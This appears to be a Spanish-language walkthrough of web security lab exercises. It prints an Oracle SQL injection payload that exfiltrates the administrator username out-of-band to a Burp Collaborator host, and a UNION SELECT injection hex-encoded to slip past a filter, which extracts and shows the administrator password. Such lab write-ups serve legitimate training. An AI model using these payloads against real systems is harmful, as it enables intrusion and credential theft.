'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(select username from users where username='administrator')||'.<CODIGO_BURPSUIT_COLABORATION>/"> %remote;]>'),'/l') FROM dual)-- -

Esto habria que URL Encodearlo, por lo que tendria que quedar algo tal que asi...

'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select+username+from+users+where+username%3d'administrator')||'.<CODIGO_BURPSUIT_COLABORATION>/">+%25remote%3b]>'),'/l')+FROM+dual)--+-

Lab: SQL injection with filter bypass via XML encoding

Lo que tienes que hacer aqui es inyectar codigo SQL en algun campo de los que se muestra en la pagina de seleccion, por lo que con el BurpSuit capturamos la peticion estando a la escucha y dandole al boton check stock, una vez hecho esto estariamos viendo el request, por lo que el codigo que tendremos que inyectar sera en el siguiente campo...

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
	<productId>
		1
	</productId>
	<storeId>
		1
	</storeId>
</stockCheck>

Nuestro codigo lo inyectaremos en la seccion de storeId pero no lo podemos inyectar asi a pelo...

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
	<productId>
		1
	</productId>
	<storeId>
		1 union select NULL-- -
	</storeId>
</stockCheck>

Info:

"Attack detected"

Por que no va a funcionar, por lo que utilizaremos una cosa especial que hay que instalar en BurpSuit que nos facilitara toda esta tarea de codificarlo...

En BurpSuit nos vamos a la seccion de Extensiones y en la casilla de BAppStore dentro de ahi buscamos la herramienta llamada Hackvertor y la instalamos...

Una vez instalada nos volvemos a donde tenemos el codigo, seleccionamos el codigo 1 union select NULL-- -, click derecho, nos vamos a la opcion que pone Extensiones, de ahi vamos a Hackvector, nos vamos a Encode y dentro de esta opcion habra varias codificaciones, en mi caso elijo la llamada hex_entities, se nos quedara de esta manera...

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
	<productId>
		1
	</productId>
	<storeId>
		<@hex_entities>
			1 union select NULL-- -
		<@/hex_entities>
	</storeId>
</stockCheck>

Con esto ahora si va a funcionar ese comando y sabiendo que funciona ese comando hacemos lo siguiente...

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
	<productId>
		1
	</productId>
	<storeId>
		<@hex_entities>
			1 union select password from users where username='administrator'-- -
		<@/hex_entities>
	</storeId>
</stockCheck>

Info:

HTTP/2 200 OK

Content-Type: text/plain; charset=utf-8

X-Frame-Options: SAMEORIGIN

Content-Length: 30



182 units
jc9kmc948berlabi1y60

credentials

username = administrator
password = jc9kmc948berlabi1y60

Nos registramos y ya estaria hecho...

Last updated